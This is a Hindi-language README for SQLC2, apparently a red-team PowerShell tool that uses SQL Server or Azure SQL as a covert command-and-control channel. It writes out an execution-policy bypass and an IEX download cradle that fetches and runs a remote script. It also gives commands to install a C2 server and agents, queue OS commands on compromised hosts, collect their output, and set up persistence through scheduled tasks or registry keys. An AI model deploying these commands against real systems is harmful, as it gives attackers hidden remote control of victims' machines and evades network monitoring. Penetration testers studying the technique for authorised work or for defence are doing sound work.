
SQLC2 एक PowerShell स्क्रिप्ट है जो SQL सर्वर को नियंत्रण सर्वर और एजेंट दोनों के रूप में उपयोग करके एक कमांड और नियंत्रण प्रणाली को तैनात और प्रबंधित करने के लिए है।
SQLC2 एक PowerShell स्क्रिप्ट है जो एक कमांड और कंट्रोल सिस्टम को परिनियोजित और प्रबंधित करने के लिए है जो SQL सर्वर को नियंत्रण सर्वर और एजेंट दोनों के रूप में उपयोग करता है। इसके मूल में, SQLC2 सिर्फ एक PowerShell स्क्रिप्ट, एक TSQL स्क्रिप्ट, और SQL सर्वर इंस्टेंस में कुछ टेबल है जो एजेंटों, कमांडों और परिणामों को ट्रैक करता है। कुछ भी बहुत फैंसी नहीं, लेकिन यह कुछ कार्यों में उपयोगी साबित हो सकता है।
अधिक संपूर्ण अवलोकन के लिए https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/ पर ब्लॉग देखें।
अधिक कंपनियां Azure SQL Server डेटाबेस का उपयोग करने लगी हैं। जब वे Azure SQL Server इंस्टेंस बनाए जाते हैं, तो वे database.windows.net के सबडोमेन पर पोर्ट 1433 के माध्यम से सुलभ बनाए जाते हैं। उदाहरण के लिए, मैं "mysupersqlserver.database.windows.net" नामक SQL Server इंस्टेंस बना सकता हूं। परिणामस्वरूप, कुछ कॉर्पोरेट नेटवर्क कॉन्फ़िगरेशन पोर्ट 1433 पर किसी भी "database.windows.net" सबडोमेन के लिए आउटबाउंड इंटरनेट एक्सेस की अनुमति देते हैं।
सामान्य विचार यह है कि जैसे-जैसे Azure SQL Server का उपयोग बढ़ता है, SQL सर्वर को एक नियंत्रण चैनल के रूप में उपयोग करने के अधिक अवसर होंगे जो सामान्य ट्रैफ़िक जैसा दिखता है। SQLPS एक बहुत ही बुनियादी प्रूफ ऑफ कॉन्सेप्ट है, लेकिन मुझे लगता है कि यह विचार को समझाने के लिए पर्याप्त कार्यात्मक है। मुझे पता है कि अभी भी कई सुधार किए जाने हैं, लेकिन अगर आप इसके साथ खेलते हैं, तो मुझे आपकी प्रतिक्रिया पसंद आएगी।
यद्यपि Azure SQL Server इंस्टेंस के साथ SQLC2 का उपयोग करने पर जोर है, आप किसी भी क्लाउड वातावरण में अपना स्वयं का SQL सर्वर होस्ट कर सकते हैं और इसे SSL सक्षम के साथ पोर्ट 443 पर सुनने के लिए सेट कर सकते हैं। तो, यह आपके द्वारा लगाए गए प्रयास के आधार पर थोड़ा और लचीलापन प्रदान कर सकता है।
विकल्प 1: स्क्रिप्ट डाउनलोड करें और इसे आयात करें। इसके लिए प्रशासनिक विशेषाधिकारों की आवश्यकता नहीं है और यह केवल वर्तमान सत्र में आयात किया जाएगा। हालांकि, यह प्रतिबंधात्मक निष्पादन नीतियों द्वारा अवरुद्ध हो सकता है, इसलिए आप बाईपास विकल्प का उपयोग करना चाह सकते हैं।
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
विकल्प 2: इसे डाउनलोड क्रैडल के माध्यम से एक सत्र में लोड करें। इसके लिए प्रशासनिक विशेषाधिकारों की आवश्यकता नहीं है और यह केवल वर्तमान सत्र में आयात किया जाएगा। इसे निष्पादन नीतियों द्वारा अवरुद्ध नहीं किया जाना चाहिए।
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
नोट: एक वैकल्पिक डोमेन उपयोगकर्ता के रूप में चलाने के लिए, पहले PowerShell लॉन्च करने के लिए runas कमांड का उपयोग करें।
runas /noprofile /netonly /user:domain\user PowerShell.exe

नीचे उपयोगकर्ता फ़ंक्शनों की एक सूची दी गई है जो इच्छित वर्कफ़्लो का समर्थन करते हैं।
नीचे कुछ नमूना स्क्रीनशॉट दिए गए हैं।
SQLC2 सर्वर स्थापित करें (तालिकाएं बनाएं):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2 एजेंट स्थापित करें (SQL सर्वर एजेंट जॉब जो सर्वर लिंक का उपयोग करता है):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2 एजेंट देखें:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

एजेंट पर चलाने के लिए कमांड सेट करें:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

कमांड परिणाम प्राप्त करें:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| फ़ंक्शन नाम | विवरण |
|---|
| Install-SQLC2Server | लक्ष्य SQL सर्वर/डेटाबेस पर SQLC2 तालिकाएं स्थापित करें। |
| Install-SQLC2AgentPs | एक एजेंट स्थापित करें जो SQL सर्वर एजेंट जॉब और सर्वर लिंक का उपयोग करता है। |
| Install-SQLC2AgentLink | एक एजेंट स्थापित करें जो PowerShell कमांड निष्पादित करने के लिए शेड्यूल टास्क या रजिस्ट्री कुंजी का उपयोग करता है। |
| Set-SQLC2Command | एजेंटों के लिए ऑपरेटिंग सिस्टम कमांड सेट करें। |
| Get-SQLC2Command | C2 से एजेंट के लिए लंबित ऑपरेटिंग सिस्टम कमांड की सूची प्राप्त करें। यह -Execute फ्लैग के साथ लंबित कमांड को भी निष्पादित कर सकता है। |
| Get-SQLC2Agent | SQLC2 सर्वर पर पंजीकृत एजेंटों की सूची प्राप्त करें। |
| Get-SQLC2Result | लंबित और पूर्ण कमांड की सूची प्राप्त करें। servername, status, और cid फ़िल्टर का समर्थन करता है। |
| Remove-SQLC2Agent | SQLC2 पर पंजीकृत एजेंटों को हटाएं। केवल इतिहास साफ़ करता है। |
| Remove-SQLC2Command | SQLC2 सर्वर पर कमांड इतिहास हटाएं। |
| Uninstall-SQLC2AgentLink | SQLC2 एजेंट को अनइंस्टॉल करें जो सर्वर लिंक और एजेंट जॉब का उपयोग करता है। |
| Uninstall-SQLC2AgentPs | सभी ऑपरेटिंग सिस्टम आधारित स्थायित्व विधियों को अनइंस्टॉल करें। |
| Uninstall-SQLC2Server | लक्ष्य डेटाबेस से SQLC2 तालिकाएं हटाएं। |